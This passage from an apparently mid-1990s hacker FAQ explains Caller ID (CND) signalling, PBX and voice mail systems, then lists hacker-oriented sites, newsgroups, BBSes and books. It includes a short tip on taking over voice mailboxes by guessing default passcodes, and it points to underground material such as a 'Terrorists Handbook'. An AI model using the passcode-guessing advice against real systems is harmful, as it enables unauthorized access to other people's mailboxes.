customers.  It allows the called Customer Premises Equipment (CPE) to
receive a calling party's directory number and the date and time of
the call during the first 4 second silent interval in the ringing
cycle.

Parameters
~~~~~~~~~~
The data signalling interface has the following characteristics:

        Link Type:                              2-wire, simplex
        Transmission Scheme:            Analog, phase-coherent FSK
        Logical 1 (mark)                        1200 +/- 12 Hz
        Logical 0 (space)                       2200 +/- 22 Hz
        Transmission Rate:                      1200 bps
        Transmission Level:                     13.5 +/- dBm into 900 ohm load


Protocol
~~~~~~~~
The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit.  The CND message uses the Single Data Message
format shown below.

| Channel  |  Carrier  |  Message  |  Message  |  Data       | Checksum |
| Seizure  |  Signal   |  Type     |  Length   |  Word(s)    | Word     |
| Signal   |           |  Word     |  Word     |             |          |

Channel Siezure Signal
~~~~~~~~~~~~~~~~~~~~~~
The channel seizure is 30 continuous bytes of 55h (01010101) providing
a detectable alternating function to the CPE (i.e. the modem data
pump).

Carrier Signal
~~~~~~~~~~~~~~
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
condition the receiver for data.

Message Type Word
~~~~~~~~~~~~~~~~~
The message type word indicates the service and capability associated
with the data message.  The message type word for CND is 04h
(00000100).

Message Length Word
~~~~~~~~~~~~~~~~~~~
The message length word specifies the total number of data words to
follow.

Data Words
~~~~~~~~~~
The data words are encoded in ASCII and represent the following
information:

o  The first two words represent the month
o  The next two words represent the day of the month
o  The next two words represent the hour in local military time
o  The next two words represent the minute after the hour
o  The calling party's directory number is represented by the
   remaining  words in the data word field

If the calling party's directory number is not available to the
terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".

Checksum Word
~~~~~~~~~~~~~
The Checksum Word contains the twos complement of the modulo 256 sum
of the other words in the data message (i.e., message type, message
length, and data words).  The receiving equipment may calculate the
modulo 256 sum of the received words and add this sum to the reveived
checksum word.  A result of zero generally indicates that the message
was correctly received.  Message retransmission is not supported.

Example CNS Single Data Message
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An example of a received CND message, beginning with the message type
word, follows:

04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

04h=  Calling number delivery information code (message type word)
12h=  18 decimal; Number of data words (date,time, and directory
      number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= [phone]; calling
      party's directory number
51h=  Checksum Word

Data Access Arrangement (DAA) Requirements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To receive CND information, the modem monitors the phone line between
the first and second ring bursts without causing the DAA to go off
hook in the conventional sense, which would inhibit the transmission
of CND by the local central office.  A simple modification to an
existing DAA circuit easily accomplishes the task.

Modem Requirements
~~~~~~~~~~~~~~~~~~
Although the data signalling interface parameters match those of a
Bell 202 modem, the receiving CPE need not be a Bell 202 modem.  A
V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal.  The ring indicate bit (RI) may be used on a modem to indicate
when to monitor the phone line for CND information.  After the RI bit
sets, indicating the first ring burst, the host waits for the RI bit
to reset.  The host then configures the modem to monitor the phone
line for CND information.

Signalling
~~~~~~~~~~
According to Bellcore specifications, CND signalling starts as early
as 300 mS after the first ring burst and ends at least 475 mS before
the second ring burst

Applications
~~~~~~~~~~~~
Once CND information is received the user may process the information
in a number of ways.

1.  The date, time, and calling party's directory number can be
    displayed.

2.  Using a look-up table, the calling party's directory number can be
    correlated with his or her name and the name displayed.

3.  CND information can also be used in additional ways such as for:

    a.  Bulletin board applications
    b.  Black-listing applications
    c.  Keeping logs of system user calls, or
    d.  Implementing a telemarketing data base

References
~~~~~~~~~~
For more information on Calling Number Delivery (CND), refer to
Bellcore publications TR-TSY-000030 and TR-TSY-000031.

To obtain Bellcore documents contact:

        Bellcore Customer Service
        60 New England Avenue, Room 1B252
        Piscataway, NJ   08834-4196
        [phone]


28. What is a PBX?

A PBX is a Private Branch Exchange.  A PBX is a small telephone switch
owned by a company or organization.  Let's say your company has a
thousand employees.  Without a PBX, you would need a thousand phone
lines.  However, only 10% of your employees are talking on the phone
at one time.  What if you had a computer that automatically found an
outside line every time one of your employees picked up the telephone.
With this type of system, you could get by with only paying for one
hundred phone lines.  This is a PBX.


29. What is a VMB?

A VMB is a Voice Mail Box.  A VMB is a computer that acts as an
answering machine for hundreds or thousands of users.  Each user will
have their own Voice Mail Box on the system.  Each mail box will have
a box number and a pass code.

Without a passcode, you will usually be able to leave messages to
users on the VMB system.  With a passcode, you can read messages and
administer a mailbox.  Often, mailboxes will exist that were created
by default or are no longer used.  These mailboxes may be taken over
by guessing their passcode.  Often the passcode will be the mailbox
number or a common number such as 1234.





Section C: Resources
~~~~~~~~~~~~~~~~~~~~

01. What are some ftp sites of interest to hackers?

N 198.69.103.23                                           (Mac)
N aeneas.mit.edu
  alex.sp.cs.cmu.edu      /links/security                 (Misc)
N alife.santafe.edu
  aql.gatech.edu          /pub                            (40Hex)
N asylum.sf.ca.us
  athena-dist.mit.edu     /pub/ATHENA                     (Athena Project)
N atlantis.utmb.edu
  bellcore.com                                            (Bellcore)
  camelot.usc.edu         /pub/cellular/DDIinfodemo       (Cellular)
  cert.org                                                (CERT)
N ciac.llnl.gov
  coast.cs.purdue.edu     /pub                            (Security/COAST)
N csrc.ncsl.nist.gov
  dartmouth.edu           /pub/security                   (Security)
N dg-rtp.dg.com
N ds.internic.net
N enlow.com
  freeside.com                                            (Phrack)
  ftp.3com.com            /mirrors/zip                    (ZipCrypt)
  ftp.3com.com            /Orange-Book                    (Orange Book)
N ftp.acns.nwu.edu
N ftp.alantec.com
  ftp.armory.com          /pub/user/kmartind              (H/P)
N ftp.armory.com          /pub/user/swallow
N ftp.c3.lanl.gov
N ftp.cc.rochester.edu
N ftp.cert.dfn.de                                         (FIRST)
  ftp.cic.net             /pub/e-serials/alphabetic/p/phrack (Zines)
N ftp.cisco.com
  ftp.clark.net           /pub/jcase                      (H/P)
  ftp.cnam.fr
  ftp.commerce.net        /pubs/standards/drafts/shttp.txt(Secure HyperText)
N ftp.cs.colorado.edu
N ftp.cs.ruu.nl
  ftp.cs.uwm.edu          /pub/comp-privacy               (Privacy Digest)
N ftp.cs.vu.nl
N ftp.cs.yale.edu
  ftp.csl.sri.com         /pub/nides                      (SRI)
  ftp.csua.berkeley.edu   /pub/cypherpunks                (Crypto)
N ftp.cyberspace.com      /pub/archive/defcon             (PhoneTag)
N ftp.delmarva.com
N ftp.dsi.unimi.it
N ftp.ee.lbl.gov
U ftp.eff.org             /pub/Publications/CuD           (EFF)
  ftp.elelab.nsc.co.jp    /pub/security                   (Security)
  ftp.etext.org                                           (Etext)
U ftp.fc.net              /pub/defcon                     (DefCon)
N ftp.fc.net              /pub/defcon/BBEEP               (BlueBeep)
N ftp.fh-berlin.de
N ftp.foobar.com
N ftp.funet.fi
  ftp.gate.net            /pub/users/laura
  ftp.gate.net            /pub/users/wakko
  ftp.greatcircle.com     /pub/firewalls                  (Firewalls)
  ftp.halcyon.com         /pub/cud                        (Zines)
  ftp.IEunet.ie           /pub/security                   (Security)
N ftp.ifi.uio.no
N ftp.info.fundp.ac.be
N ftp.informatik.uni-hamburg.de
  ftp.inoc.dl.nec.com     /pub/security                   (Security)
N ftp.isi.edu
U ftp.llnl.gov            /pub                            (CIAC)
N ftp.lysator.liu.se
N ftp.mcs.com             /mcsnet.users/crisadm           (Virii)
N ftp.microserve.net      /ppp-pop/strata/mac             (Mac)
  ftp.near.net            /security/archives/phrack       (Zines)
N ftp.nec.com
  ftp.netcom.com          /pub/br/bradleym                (Virii)
N ftp.netcom.com          /pub/da/daemon9
  ftp.netcom.com          /pub/va/vandal                  (DnA)
  ftp.netcom.com          /pub/zz/zzyzx                   (H/P)
N ftp.netsys.com
  ftp.ocs.mq.edu.au       /PC/Crypt                       (Crypto)
  ftp.paranoia.com        /pub/toneloc/tl110.zip          (ToneLoc)
N ftp.pop.psu.edu
  ftp.primus.com          /pub/armchair                   (Phoney)
  ftp.primus.com          /pub/security                   (Security)
N ftp.psy.uq.oz.au
  ftp.rahul.net           /pub/lps                        (Home of the FAQ)
N ftp.sert.edu.au
N ftp.sgi.com
  ftp.std.com             /archives/alt.locksmithing      (Locksmithing)
  ftp.std.com             /obi/Mischief/                  (MIT Guide to Locks)
  ftp.std.com             /obi/Phracks                    (Zines)
  ftp.sunet.se            /pub/network/monitoring         (Ethernet sniffers)
  ftp.sura.net            /pub/security                   (SURAnet)
N ftp.technet.sg
  ftp.tis.com             /pub                            (TIS)
N ftp.uspto.gov
  ftp.uu.net              /doc/literary/obi/Phracks       (Zines)
N ftp.uwp.edu                                             (Copy protection)
N ftp.vis.colostate.edu
N ftp.vix.com
N ftp.vortex.com
  ftp.warwick.ac.uk       /pub/cud                        (Zines)
  ftp.win.tue.nl          /pub/security                   (Security)
  ftp.winternet.com       /users/craigb                   (H/P)
  ftp.wustl.edu           /doc/EFF                        (EFF)
  furmint.nectar.cs.cmu.edu /security                     (Crypto)
  garbo.uwasa.fi          /pc/crypt                       (Crypto)
N gumby.dsd.trw.com
N hack-this.pc.cc.cmu.edu                                 (Back again!)
N hplyot.obspm.fr
N info.mcs.anl.gov
N jerico.usc.edu
  lcs.mit.edu             /telecom-archives               (Telecom archives)
  lod.amaranth.com                                        (Legion of Doom)
N l0pht.com                                               (The L0pht)
N mac.archive.umich.edu
  mary.iia.org            /pub/users/patriot              (Misc)
N monet.ccs.itd.umich.edu
  net.tamu.edu            /pub/security/TAMU              (Security)
  net23.com               /pub                            (Max Headroom)
  nic.ddn.mil             /scc                            (DDN Security)
  nic.funet.fi            /pub/doc/cud                    (Zines)
N oak.oakland.edu
  paradox1.denver.colorado.edu  /anonymous/text-files/pyrotechnics (Pyro)
N parcftp.xerox.com
  pyrite.rutgers.edu      /pub/security                   (Security)
  relay.cs.toronto.edu    /doc/telecom-archives           (Telecom)
  rena.dit.co.jp          /pub/security                   (Security)
  research.att.com        /dist/internet_security         (AT&T)
  ripem.msu.edu           /pub/crypt                      (Ripem)
  rs1.rrz.uni-koeln.de                                    (Wordlists)
  rtfm.mit.edu                                            (Etext)
  rtfm.mit.edu            /pub/usenet-by-group            (Usenet FAQ's)
  sable.ox.ac.uk                                          (Wordlists)
N samadams.princeton.edu
  scss3.cl.msu.edu        /pub/crypt                      (Crypto)
N sierra.stanford.edu
  spy.org                                                 (CSC)
  suburbia.apana.org.au   /pub/unix/security              (Security)
N sunsolve1.sun.com
N tam.cs.ucdavis.edu
N technion.ac.il
  theta.iis.u-tokyo.ac.jp /pub1/security                  (Security)
N thumper.bellcore.com
  titania.mathematik.uni-ulm.de /pub/security             (Security)
N toxicwaste.mit.edu      /pub/rsa129/README              (Breaking RSA)
  uceng.uc.edu            /pub/kerberos.documentation     (Kerberos)
N ugle.unit.no
N vic.cc.purdue.edu
N whacked.l0pht.com                                       (Mac + H/P)
  wimsey.bc.ca            /pub/crypto                     (Crypto)


02. What are some fsp sites of interest to hackers?

  Third Stone From the Sun  132.241.180.91 6969


03. What are some newsgroups of interest to hackers?

  alt.2600                Do it 'til it hertz
  alt.2600.hope.tech      Technology concerns for Hackers on Planet Earth 1994
  alt.cellular
N alt.cellular-phone-tech
N alt.comp.virus
  alt.cyberpunk           High-tech low-life.
  alt.cyberspace          Cyberspace and how it should work.
  alt.dcom.telecom        Discussion of telecommunications technology
  alt.engr.explosives     [no description available]
  alt.hackers             Descriptions of projects currently under development
  alt.locksmithing        You locked your keys in *where*?
  alt.hackers.malicious   The really bad guys - don't take candy from them
N alt.ph.uk
  alt.privacy.anon-server Tech. & policy matters of anonymous contact servers
  alt.radio.pirate        Hide the gear, here comes the magic station-wagons.
  alt.radio.scanner       Discussion of scanning radio receivers.
N alt.satellite.tv.europe
  alt.security            Security issues on computer systems
  alt.security.index      Pointers to good stuff in misc.security (Moderated)
  alt.security.keydist    Exchange of keys for public key encryption systems
  alt.security.pgp        The Pretty Good Privacy package
  alt.security.ripem      A secure email system illegal to export from the US
  comp.dcom.cellular      [no description available]
  comp.dcom.telecom       Telecommunications digest (Moderated)
  comp.dcom.telecom.tech  [no description available]
  comp.org.cpsr.announce  Computer Professionals for Social Responsibility
  comp.org.cpsr.talk      Issues of computing and social responsibility
  comp.org.eff.news       News from the Electronic Frontiers Foundation
  comp.org.eff.talk       Discussion of EFF goals, strategies, etc.
  comp.protocols.kerberos The Kerberos authentification server
  comp.protocols.tcp-ip   TCP and IP network protocols
  comp.risks              Risks to the public from computers & users
  comp.security.announce  Announcements from the CERT about security
  comp.security.misc      Security issues of computers and networks
  comp.security.unix      Discussion of Unix security
  comp.virus              Computer viruses & security (Moderated)
  de.org.ccc              Mitteilungen des CCC e.V.
  misc.security           Security in general, not just computers (Moderated)
  rec.pyrotechnics        Fireworks, rocketry, safety, & other topics
  rec.radio.scanner       [no description available]
  rec.video.cable-tv      Technical and regulatory issues of cable television
  sci.crypt               Different methods of data en/decryption


04. What are some telnet sites of interest to hackers?

  ntiabbs.ntia.doc.gov                  (NTIA)
N l0pht.com                             (The L0pht)
N sfpg.gcomm.com                        (The Floating Pancreas)
U telnet lust.isca.uiowa.edu 2600       (underground bbs) (temporarily down)


05. What are some gopher sites of interest to hackers?

  ba.com                  (Bell Atlantic)
  csrc.ncsl.nist.gov      (NIST Security Gopher)
  gopher.acm.org          (SIGSAC (Security, Audit & Control))
  gopher.cpsr.org         (Computer Professionals for Social Responsibility)
  gopher.cs.uwm.edu
  gopher.eff.org          (Electonic Frontier Foundation)
  gw.PacBell.com          (Pacific Bell)
  iitf.doc.gov            (NITA -- IITF)
  oss.net                 (Open Source Solutions)
  spy.org                 (Computer Systems Consulting)
  wiretap.spies.com       (Wiretap)


06. What are some World wide Web (WWW) sites of interest to hackers?
N http://alumni.caltech.edu/~dank/isdn/           (ISDN)
  http://aset.rsoc.rockwell.com                   (NASA/MOD AIS Security)
  http://aset.rsoc.rockwell.com/exhibit.html      (Tech. for Info Sec)
N http://att.net/dir800                           (800 directory)
  http://ausg.dartmouth.edu/security.html         (Security)
  http://cs.purdue.edu/coast/coast.html           (Coast)
  http://csrc.ncsl.nist.gov                       (NIST)
U http://dhp.com/~pluvius
U http://dfw.net/~aleph1                          (Eubercrackers)
  http://draco.centerline.com:8080/~franl/crypto.html (Crypto)
  http://everest.cs.ucdavis.edu/Security.html     (Security)
  http://everest.cs.ucdavis.edu/slides/slides.html(Security Lab Slides)
  http://ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html  (CSSCR)
  http://first.org                                (FIRST)
  http://ftp.tamu.edu/~abr8030/security.html      (Security)
  http://hightop.nrl.navy.mil/potpourri.html      (Security)
  http://hightop.nrl.navy.mil/rainbow.html        (Rainbow Books)
N http://ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling)
N http://ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS)
  http://info.bellcore.com/BETSI/betsi.html       (Betsi)
  http://infosec.nosc.mil/infosec.html            (SPAWAR INFOSEC)
  http://l0pht.com                                (The l0pht)
N http://l0pht.com/~oblivion/IIRG.html            (Phantasy Magazine)
N http://mindlink.jolt.com                        (The Secrets of LockPicking)
  http://mls.saic.com                             (SAIC MLS)
  http://naic.nasa.gov/fbi/FBI_homepage.html      (FBI Homepage)
  http://nasirc.hq.nasa.gov                       (NASA ASIRC)
  http://ophie.hughes.american.edu/~ophie
N http://ripco.com:8080/~glr/glr.html             (Full Disclosure)
N http://spy.org                                  (CSC)
  http://tansu.com.au/Info/security.html          (Comp and Net Security)
  http://the-tech.mit.edu                         (LaMacchia case info)
N http://ucs.orst.edu:8001/mintro.html            (Micro Power Broadcasting)
  http://wintermute.itd.nrl.navy.mil/5544.html    (Network Security)
  http://www.aads.net                             (Ameritech)
  http://www.alw.nih.gov/WWW/security.html        (Unix Security)
  http://www.artcom.de/CCC                        (CCC Homepage)
  http://www.aspentec.com/~frzmtdb/fun/hacker.html
N http://www.aus.xanadu.com:70/1/EFA              (EFF Australia)
  http://www.ba.com                               (Bell Atlantic)
  http://www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win)
  http://www.bell.com                             (MFJ Task Force)
  http://www.bellcore.com/SECURITY/security.html  (Bellcore Security Products)
  http://www.brad.ac.uk/~nasmith/index.html
  http://www.bst.bls.com                          (BellSouth)
  http://www.c3.lanl.gov/~mcn                     (Lanl)
N http://www.cert.dfn.de/                         (German First Team)
  http://www.commerce.net/information/standards/drafts/shttp.txt (HyperText)
  http://www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html
  http://www.cpsr.org/home                        (CPSR)
N http://www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)
N http://www.cs.tufts.edu/~mcable/HackerCrackdown (Hacker Crackdown)
  http://www.cs.umd.edu/~lgas
  http://www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html (Security)
  http://www.csd.harris.com/secure_info.html      (Harris)
  http://www.csl.sri.com                          (SRI Computer Science Lab)
N http://www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)
  http://www.datafellows.fi                       (Data Fellows)
  http://www.delmarva.com/raptor/raptor.html      (Raptor Network Isolator)
  http://www.demon.co.uk/kbridge                  (KarlBridge)
  http://www.digicash.com/ecash/ecash-home.html   (Digital Cash)
  http://www.digital.com/info/key-secure-index.html(Digital Secure Systems)
  http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html(Bugtraq)
  http://www.eecs.nwu.edu/~jmyers/ids/index.html  (Intrusion Detection Systems)
N http://www.eff.org/papers.html                  (EFF)
  http://www.engin.umich.edu/~jgotts/boxes.html   (Box info)
U http://www.engin.umich.edu/~jgotts/underground/hack-faq.html(This document)
  http://www.ensta.fr/internet/unix/sys_admin     (System administration)
N http://www.etext.org/Zines/                     (Zines)
  http://www.fc.net/defcon                        (DefCon)
N http://www.fedworld.gov                         (Federal Government)
N http://www.first.org/first/                     (FIRST)
N http://www.getnet.com/crak or                   (CRAK Software)
  http://www.greatcircle.com                      (Great Circle Associates)
  http://www.hpcc.gov/blue94/section.4.6.html     (NSA)
  http://www.ic.gov                               (The CIA)
N http://www.indirect.com/www/johnk/              (CRAK Software)
  http://www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)
  http://www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook)
  http://www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide)
N http://www.mpr.ca/                              (MPR Teltech Ltd)
  http://www.net23.com                            (Max Headroom)
  http://www.nist.gov                             (NIST)
N http://www.ntt.jp                               (Nippon Telephone)
  http://www.pacbell.com                          (Pacific Bell)
  http://www.paranoia.com/mthreat                 (ToneLoc)
  http://www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)
  http://www.phantom.com/~king                    (Taran King)
N http://www.primenet.com/~kludge/haqr.html       (Kludge)
U http://www.quadralay.com/www/Crypt/Crypt.html   (Quadralay Cryptography)
N http://www.qualcomm.com/cdma/wireless.html      (Qualcomm CDMA)
  http://www.research.att.com                     (AT&T)
  http://www.rsa.com                              (RSA Data Security)
  http://www.satelnet.org/~ccappuc
  http://www.service.com/cm/uswest/usw1.html      (USWest)
  http://www.shore.net/~oz/welcome.html           (Hack TV)
  http://www.spy.org                              (Computer Systems Consulting)
  http://www.sri.com                              (SRI)
  http://www.tansu.com.au/Info/security.html      (Security Reference Index)
  http://www.tis.com                              (Trusted Information Systems)
  http://www.tri.sbc.com                          (Southwestern Bell)
  http://www.uci.agh.edu.pl/pub/security          (Security)
  http://www.umcc.umich.edu/~doug/virus-faq.html  (Virus)
N http://www.usfca.edu/crackdown/crack.html       (Hacker Crackdown)
  http://www.wam.umd.edu/~ankh/Public/devil_does_unix
  http://www.wiltel.com                           (Wiltel)
N http://www.winternet.com/~carolann/dreams.html
  http://www.wired.com                            (Wired Magazine)


07. What are some IRC channels of interest to hackers?

  #2600
  #cellular
  #hack
  #phreak
  #linux
  #realhack
  #root
  #unix
  #warez


08. What are some BBS's of interest to hackers?

N Rune Stone              [phone]
  Hacker's Haven          [phone]
  Independent Nation      [phone]
N Ut0PiA                  [phone]
  underworld_1994.com     [phone]
  Digital Fallout         [phone]
  Alliance Communications [phone]
N Maas-Neotek             [phone]
  Apocalypse 2000         [phone]
  K0dE Ab0dE              [phone]
  fARM R0Ad 666           [phone]


09. What are some books of interest to hackers?

General Computer Security
~~~~~~~~~~~~~~~~~~~~~~~~~
  Computer Security Basics
  Author: Deborah Russell and G.T. Gengemi Sr.
  Publisher: O'Reilly & Associates, Inc.
  Copyright Date: 1991
  ISBN: 0-937175-71-4

        This is an excellent book.  It gives a broad overview of
        computer security without sacrificing detail.  A must read for
        the beginning security expert.

  Computer Security Management
  Author: Karen Forcht
  Publisher: Boyd and Fraser
  Copyright Date: 1994
  ISBN: 0-87835-881-1

  Information Systems Security
  Author: Philip Fites and Martin Kratz
  Publisher: Van Nostrad Reinhold
  Copyright Date: 1993
  ISBN: 0-442-00180-0

  Computer Related Risks
  Author: Peter G. Neumann
  Publisher: Addison-Wesley
  Copyright Date: 1995
  ISBN: 0-201-55805-X

  Computer Security Management
  Author: Karen Forcht
  Publisher: boyd & fraser publishing company
  Copyright Date: 1994
  ISBN: 0-87835-881-1

N The Stephen Cobb Complete Book of PC and LAN Security
  Author: Stephen Cobb
  Publisher: Windcrest Books
  Copyright Date: 1992
  ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

N Security in Computing
  Author: Charles P. Pfleeger
  Publisher: Prentice Hall
  Copyright Date: 1989
  ISBN: 0-13-798943-1.

N Building a Secure Computer System
  Author: Morrie Gasser
  Publisher: Van Nostrand Reinhold Co., New York.
  Copyright Date:
  ISBN: 0-442-23022-2

N Modern Methods for Computer Security
  Author: Lance Hoffman
  Publisher: Prentice Hall
  Copyright Date: 1977
  ISBN:

N Windows NT 3.5 Guidelines for Security, Audit and Control
  Author:
  Publisher: Microsoft Press
  Copyright Date:
  ISBN: 1-55615-814-9


Unix System Security
~~~~~~~~~~~~~~~~~~~~
  Practical Unix Security
  Author: Simson Garfinkel and Gene Spafford
  Publisher: O'Reilly & Associates, Inc.
  Copyright Date: 1991
  ISBN: 0-937175-72-2

        Finally someone with a very firm grasp of Unix system security
        gets down to writing a book on the subject.  Buy this book.
        Read this book.

  Firewalls and Internet Security
  Author: William Cheswick and Steven Bellovin
  Publisher: Addison Wesley
  Copyright Date: 1994
  ISBN: 0-201-63357-4

  Unix System Security
  Author: Rik Farrow
  Publisher: Addison Wesley
  Copyright Date: 1991
  ISBN: 0-201-57030-0

  Unix Security: A Practical Tutorial
  Author: N. Derek Arnold
  Publisher: McGraw Hill
  Copyright Date: 1993
  ISBN: 0-07-002560-6

  Unix System Security: A Guide for Users and Systems Administrators
  Author: David A. Curry
  Publisher: Addison-Wesley
  Copyright Date: 1992
  ISBN: 0-201-56327-4

  Unix System Security
  Author: Patrick H. Wood and Stephen G. Kochan
  Publisher: Hayden Books
  Copyright Date: 1985
  ISBN: 0-672-48494-3

  Unix Security for the Organization
  Author: Richard Bryant
  Publisher: Sams
  Copyright Date: 1994
  ISBN: 0-672-30571-2


Network Security
~~~~~~~~~~~~~~~~
  Network Security Secrets
  Author: David J. Stang and Sylvia Moon
  Publisher: IDG Books
  Copyright Date: 1993
  ISBN: 1-56884-021-7

        Not a total waste of paper, but definitely not worth the
        $49.95 purchase price.  The book is a rehash of previously
        published information.  The only secret we learn from reading
        the book is that Sylvia Moon is a younger woman madly in love
        with the older David Stang.

  Complete Lan Security and Control
  Author: Peter Davis
  Publisher: Windcrest / McGraw Hill
  Copyright Date: 1994
  ISBN: 0-8306-4548-9 and 0-8306-4549-7

  Network Security
  Author: Steven Shaffer and Alan Simon
  Publisher: AP Professional
  Copyright Date: 1994
  ISBN: 0-12-638010-4


Cryptography
~~~~~~~~~~~~
  Applied Cryptography: Protocols, Algorithms, and Source Code in C
  Author: Bruce Schneier
  Publisher: John Wiley & Sons
  Copyright Date: 1994
  ISBN: 0-471-59756-2

        Bruce Schneier's book replaces all other texts on
        cryptography.  If you are interested in cryptography, this is
        a must read.  This may be the first and last book on
        cryptography you may ever need to buy.

  Cryptography and Data Security
  Author: Dorothy Denning
  Publisher: Addison-Wesley Publishing Co.
  Copyright Date: 1982
  ISBN: 0-201-10150-5

  Protect Your Privacy: A Guide for PGP Users
  Author: William Stallings
  Publisher: Prentice-Hall
  Copyright Date: 1994
  ISBN: 0-13-185596-4


Programmed Threats
~~~~~~~~~~~~~~~~~~
  The Little Black Book of Computer Viruses
  Author: Mark Ludwig
  Publisher: American Eagle Publications
  Copyright Date: 1990
  ISBN: 0-929408-02-0

        The original, and still the best, book on computer viruses.
        No media hype here, just good clean technical information.

  Computer Viruses, Artificial Life and Evolution
  Author: Mark Ludwig
  Publisher: American Eagle Publications
  Copyright Date: 1993
  ISBN: 0-929408-07-1

  Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
        Threats to Your System
  Author: John McAfee and Colin Haynes
  Publisher: St. Martin's Press
  Copyright Date: 1989
  ISBN: 0-312-03064-9 and 0-312-02889-X

  The Virus Creation Labs: A Journey Into the Underground
  Author: George Smith
  Publisher: American Eagle Publications
  Copyright Date: 1994
  ISBN:


Telephony
~~~~~~~~~
  Engineering and Operations in the Bell System
  Author: R.F. Rey
  Publisher: Bell Telephont Laboratories
  Copyright Date: 1983
  ISBN: 0-932764-04-5

        Although hopelessly out of date, this book remains *THE* book
        on telephony.  This book is 100% Bell, and is loved by phreaks
        the world over.

  Telephony: Today and Tomorrow
  Author: Dimitris N. Chorafas
  Publisher: Prentice-Hall
  Copyright Date: 1984
  ISBN: 0-13-902700-9

  The Telecommunications Fact Book and Illustrated Dictionary
  Author: Ahmed S. Khan
  Publisher: Delmar Publishers, Inc.
  Copyright Date: 1992
  ISBN: 0-8273-4615-8

        I find this dictionary to be an excellent reference book on
        telephony, and I recommend it to anyone with serious
        intentions in the field.

N Tandy/Radio Shack Cellular Hardware
  Author: Judas Gerard and Damien Thorn
  Publisher: Phoenix Rising Communications
  Copyright Date: 1994
  ISBN:

N The Phone Book
  Author: Carl Oppendahl
  Publisher: Consumer Reports
  Copyright Date:
  ISBN: 0-89043-364-x

        Listing of every cellular ID in the us, plus roaming ports,
        and info numbers for each carrier.

N Principles of Caller I.D.
  Author:
  Publisher: International MicroPower Corp.
  Copyright Date:
  ISBN:


Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~
  The Hacker Crackdown: Law and Disorder on the Electronic Frontier
  Author: Bruce Sterling
  Publisher: Bantam Books
  Copyright Date: 1982
  ISBN: 0-553-56370-X

        Bruce Sterling has recently released the book FREE to the net.
        The book is much easier to read in print form, and the
        paperback is only $5.99.  Either way you read it, you will be
        glad you did.  Mr. Sterling is an excellent science fiction
        author and has brought his talent with words to bear on the
        hacking culture.  A very enjoyable reading experience.

  Cyberpunk
  Author: Katie Hafner and John Markoff
  Publisher: Simon and Schuster
  Copyright Date: 1991
  ISBN: 0-671-77879-X

  The Cuckoo's Egg
  Author: Cliff Stoll
  Publisher: Simon and Schuster
  Copyright Date: 1989
  ISBN: 0-671-72688-9

  Hackers: Heroes of the Computer Revolution
  Author: Steven Levy
  Publisher: Doubleday
  Copyright Date: 1984
  ISBN: 0-440-13495-6


Unclassified
~~~~~~~~~~~~
  The Hacker's Handbook
  Author: Hugo Cornwall
  Publisher: E. Arthur Brown Company
  Copyright Date:
  ISBN: 0-912579-06-4

  Secrets of a Super Hacker
  Author: The Knightmare
  Publisher: Loompanics
  Copyright Date: 1994
  ISBN: 1-55950-106-5

        The Knightmare is no super hacker.  There is little or no real
        information in this book.  The Knightmare gives useful advice
        like telling you not to dress up before going trashing.
        The Knightmare's best hack is fooling Loompanics into
        publishing this garbage.

  The Day The Phones Stopped
  Author: Leonard Lee
  Publisher: Primus / Donald I Fine, Inc.
  Copyright Date: 1992
  ISBN: 1-55611-286-6

        Total garbage.  Paranoid delusions of a lunatic.  Less factual
        data that an average issue of the Enquirer.

  Information Warfare
  Author: Winn Swartau
  Publisher: Thunder Mountain Press
  Copyright Date: 1994
  ISBN: 1-56025-080-1

  An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
  Author: Doug Richardson
  Publisher: Salamander Press
  Copyright Date:
  ISBN: 0-668-06497-8


10. What are some videos of interest to hackers?

'Unauthorized Access' by Annaliza Savage
$25 on VH S format in 38-min
Savage Productions
1803 Mission St., #406
Santa Cruz, CA 95060


11. What are some mailing lists of interest to hackers?

  Academic Firewalls
  Reflector Address:
  Registration Address: Send a message to [e-mail]
                        containing the line "subscribe firewalls user@host"

U Bugtraq
  Reflector Address:    [e-mail]
  Registration Address: [e-mail]

  Cert Tools
  Reflector Address:    [e-mail]
  Registration Address: [e-mail]

  Computers and Society
  Reflector Address:    [e-mail]
  Registration Address: [e-mail]

  Coordinated Feasibility Effort to Unravel State Data
  Reflector Address:    [e-mail]
  Registration Address:

  CPSR Announcement List
  Reflector Address:    [e-mail]
  Registration Address:

  CPSR - Intellectual Property
  Reflector Address:    [e-mail]
  Registration Address:

  CPSR - Internet Library
  Reflector Address:    [e-mail]
  Registration Address:

  DefCon Announcement List
  Reflector Address:
  Registration Address: Send a message to [e-mail] containing
                        the line "subscribe dc-announce"

  DefCon Chat List
  Reflector Address:
  Registration Address: Send a message to [e-mail] containing
                        the line "subscribe dc-stuff"

N IDS (Intruder Detection Systems)
  Reflector Address:
  Registration Address: Send a message to [e-mail]
                        containing the line "subscribe ids"

  Macintosh Security
